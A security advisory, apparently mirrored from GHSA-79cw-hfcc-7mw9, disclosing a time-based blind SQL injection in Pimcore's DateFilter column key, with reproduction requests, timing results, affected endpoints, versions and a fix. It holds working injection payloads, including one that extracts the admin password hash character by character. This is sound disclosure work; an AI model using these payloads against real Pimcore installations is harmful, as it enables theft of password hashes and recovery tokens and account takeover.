GIVE YOUR AGENT THE EVIDENCE

Set up in your agent.

One prompt to get started. Paste it into your coding agent to connect cve.new through MCP and bring vulnerability context into your workflow.

Your agent needs remote MCP support and access to https://cve.new/mcp.

Read the setup guide

GIVE YOUR AGENT THE EVIDENCE

Investigate in your agent.

Turn this advisory into a focused investigation. Ask your agent to check your project’s versions, explain the evidence, and suggest a compatible fix.

Your agent needs remote MCP support and access to https://cve.new/mcp.

Read the setup guide

GHSA-79cw-hfcc-7mw9high7.7

Pimcore: SQL Injection via Column Name in DateFilter allows authenticated user to extract arbitrary database data including admin password hashes

Check your stack

The advisory, in context

Summary

An authenticated user extracts the admin password hash and any other database content through a time-based blind SQL injection in the DateFilter column key parameter. The POST /pimcore-studio/api/website-settings endpoint (and 11 other listing endpoints) accepts a columnFilters array where the key field is interpolated directly into SQL with only manual backtick wrapping. The DateFilter uses fixed named parameters (:minTime, :maxTime), so the injected column name is not subject to PDO named parameter validation. An attacker breaks out of the backtick quoting with a backtick character and appends arbitrary SQL, including SLEEP() for time-based extraction and IF() subqueries for conditional data exfiltration.

Vulnerability Details

Exploitable: DateFilter with Fixed Named Parameters

src/Listing/Filter/DateFilter.php lines 49-57 handle the on operator. The column key comes from user input and is placed in the SQL with manual backtick wrapping, while the named parameters are hardcoded as :minTime and :maxTime:

$key = $column->getKey();  // user-controlled, no validation
$dateCondition = '`' . $key . '` ' . ' BETWEEN :minTime AND :maxTime';
$listing->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => ...]);

Because the named parameters are fixed strings, PDO accepts the binding regardless of what the column name contains.

Same Pattern in Note FilterService

src/Note/Service/FilterService.php lines 64-67:

$dateCondition = '`' . $filter[$propertyKey] . '` ' . ' BETWEEN :minTime AND :maxTime';
$list->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => $maxTime]);

No Validation on Column Key

src/MappedParameter/Filter/ColumnFilter.php accepts any string as the key with zero validation or allowlisting.

Why Backtick Wrapping is Not Escaping

Manual backtick wrapping ('`' . $key . '`') does not escape internal backtick characters. quoteIdentifier() doubles them, manual wrapping does not. A backtick in the key breaks out of the quoting and the -- (double dash space) comments out the remainder of the query:

Input: key = "id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- "

Produces:

(`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- `  BETWEEN :minTime AND :maxTime)

Everything after -- is a SQL comment. The injected SLEEP(3) executes unconditionally.

Contrast with Safe Patterns in the Same Codebase

  • LogRepository.php line 202: uses $this->dbResolver->get()->quoteIdentifier() (safe)
  • ClassificationStore/Configuration/KeyRepository.php: uses ALLOWED_SORT_KEYS allowlist (safe)

Note on EqualsFilter/LikeFilter

The EqualsFilter and LikeFilter have the same manual backtick wrapping, but they reuse the column name as the PDO named parameter (:columnName). PDO requires named parameters to match [a-zA-Z0-9_], so injection characters cause a parameter binding error before SQL execution. These filters are not exploitable through this vector. The DateFilter is exploitable because it uses independent fixed parameter names.

Steps to Reproduce

Tested on Pimcore 12.x (2026.x branch, latest commit 82f9ff6), Docker, PHP 8.4, MariaDB 10.11.

Step 1: Baseline request (no injection)

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10}

Response: HTTP/1.1 200 OK -- totalItems: 1 -- 0.07 seconds

<img width="1666" height="616" alt="image" src="https://github.com/user-attachments/assets/93dfbb22-3915-4abb-b569-13c9f3cea368" />

Step 2: Unconditional SLEEP(3) injection

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

Response: HTTP/1.1 200 OK -- totalItems: 0 -- 6.07 seconds

<img width="1631" height="898" alt="image" src="https://github.com/user-attachments/assets/97d04b04-4fb2-4fd4-95b8-e50d0521de97" />

<img width="1920" height="625" alt="image" src="https://github.com/user-attachments/assets/6000a604-b189-4f99-8648-d8ec36a59094" />

The 6-second delay (3s x 2 queries: SELECT + COUNT) confirms SQL injection. The MySQL general log shows the injected SQL executed:

SELECT id FROM website_settings WHERE (`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- `  BETWEEN :minTime AND :maxTime)  ORDER BY `id` ASC LIMIT 50

Step 3: Conditional SLEEP proving data extraction (TRUE case)

This query tests whether the admin password hash starts with $2y$ (bcrypt, hex 0x24327924). If true, the server sleeps 3 seconds. If false, no delay.

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x24327924,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

Response: HTTP/1.1 200 OK -- 6.07 seconds (TRUE: admin password hash starts with $2y$)

<img width="1611" height="706" alt="image" src="https://github.com/user-attachments/assets/b9f12ca4-3459-4ed6-8a08-c64f99f28d85" />

<img width="1917" height="570" alt="image" src="https://github.com/user-attachments/assets/1c5eca3d-f66b-4630-bea9-69c93ffa1a6f" />

Step 4: Conditional SLEEP (FALSE case, wrong guess)

Same query but testing for XXXX (hex 0x58585858) instead:

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x58585858,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

Response: HTTP/1.1 200 OK -- 0.07 seconds (FALSE: password does not start with XXXX)

<img width="1920" height="496" alt="image" src="https://github.com/user-attachments/assets/7a27f666-a6e4-4c65-94b4-f0d22ba1db7f" />

Timing comparison

Request Payload Response Time Meaning
Baseline No injection 0.07s Normal
Unconditional SLEEP AND SLEEP(3) 6.07s Injection confirmed
Conditional TRUE IF(password starts with $2y$, SLEEP(3), 0) 6.07s Data extracted: hash is bcrypt
Conditional FALSE IF(password starts with XXXX, SLEEP(3), 0) 0.07s Control: no match, no delay

By iterating through characters with SUBSTRING(password, N, 1), an attacker extracts the full bcrypt hash for offline cracking, or extracts passwordRecoveryToken values for direct account takeover without cracking.

Impact

An authenticated user with website_settings permission (or any permission granting access to a listing endpoint with DateFilter support) extracts the full contents of any database table one character at a time through conditional time-based blind SQL injection.

Directly extractable high-value data:

  • Admin password hashes (users.password) for offline cracking
  • Password recovery tokens (users.passwordRecoveryToken) for direct account takeover via POST /login/token
  • Session data for session hijacking
  • All PIM product data, CMS content, and asset metadata

Affected Endpoints

All endpoints using ListingFilter::applyFilters() with a DateFilter on column filter:

  • POST /pimcore-studio/api/website-settings
  • POST /pimcore-studio/api/notifications
  • POST /pimcore-studio/api/recycle-bin
  • POST /pimcore-studio/api/redirects
  • POST /pimcore-studio/api/translations/{domain}
  • POST /pimcore-studio/api/quantity-value/units
  • POST /pimcore-studio/api/properties
  • POST /pimcore-studio/api/classification-store/{storeId}/keys
  • POST /pimcore-studio/api/classification-store/{storeId}/groups
  • POST /pimcore-studio/api/classification-store/{storeId}/collections
  • GET /pimcore-studio/api/notes/{elementType}/{id} (via Note FilterService fieldFilters)

Recommended Fix

Replace manual backtick wrapping with Doctrine\DBAL\Connection::quoteIdentifier(), or implement a per-listing allowlist of valid column names:

// Option 1: quoteIdentifier (doubles internal backticks)
$db = \Pimcore\Db::get();
$dateCondition = $db->quoteIdentifier($key) . ' BETWEEN :minTime AND :maxTime';

// Option 2: allowlist (preferred)
private const ALLOWED_COLUMNS = ['id', 'name', 'date', 'type', 'creationDate', 'modificationDate'];
if (!in_array($key, self::ALLOWED_COLUMNS, true)) {
    throw new InvalidArgumentException('Invalid filter column');
}

Apply the same fix to EqualsFilter, LikeFilter, and Note/FilterService as defense-in-depth, even though those are currently protected by PDO named parameter validation.

Supporting Materials

  • Live-tested on Pimcore 12.x (2026.x branch, commit 82f9ff6), Docker, PHP 8.4, MariaDB 10.11
  • MySQL general query log confirms injected SQL reaches the database
  • The safe pattern (quoteIdentifier()) exists in the same codebase in LogRepository.php line 202
  • Package: pimcore/studio-backend-bundle

Affected packages

Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.

Ecosystem versions

Earlier releases before 2025.4.6

Fixed in 2025.4.6

16 explicitly affected versions

v0.10.21, v0.12.18, v0.12.9, v0.13.20, v0.14.19, v0.15.17, v0.4.30, v0.5.20, v0.6.30, v0.9.30, v2025.4.0, v2025.4.1, v2025.4.2, v2025.4.3, v2025.4.4, v2025.4.5

View affected-version evidence
{
  "ranges": [
    {
      "events": [
        {
          "introduced": "0"
        },
        {
          "fixed": "2025.4.6"
        }
      ],
      "type": "ECOSYSTEM"
    }
  ],
  "versions": [
    "v0.10.21",
    "v0.12.18",
    "v0.12.9",
    "v0.13.20",
    "v0.14.19",
    "v0.15.17",
    "v0.4.30",
    "v0.5.20",
    "v0.6.30",
    "v0.9.30",
    "v2025.4.0",
    "v2025.4.1",
    "v2025.4.2",
    "v2025.4.3",
    "v2025.4.4",
    "v2025.4.5"
  ]
}
Ecosystem versions

From 2026.1.0 before 2026.1.6

Fixed in 2026.1.6

6 explicitly affected versions

v2026.1.0, v2026.1.1, v2026.1.2, v2026.1.3, v2026.1.4, v2026.1.5

View affected-version evidence
{
  "ranges": [
    {
      "events": [
        {
          "introduced": "2026.1.0"
        },
        {
          "fixed": "2026.1.6"
        }
      ],
      "type": "ECOSYSTEM"
    }
  ],
  "versions": [
    "v2026.1.0",
    "v2026.1.1",
    "v2026.1.2",
    "v2026.1.3",
    "v2026.1.4",
    "v2026.1.5"
  ]
}

References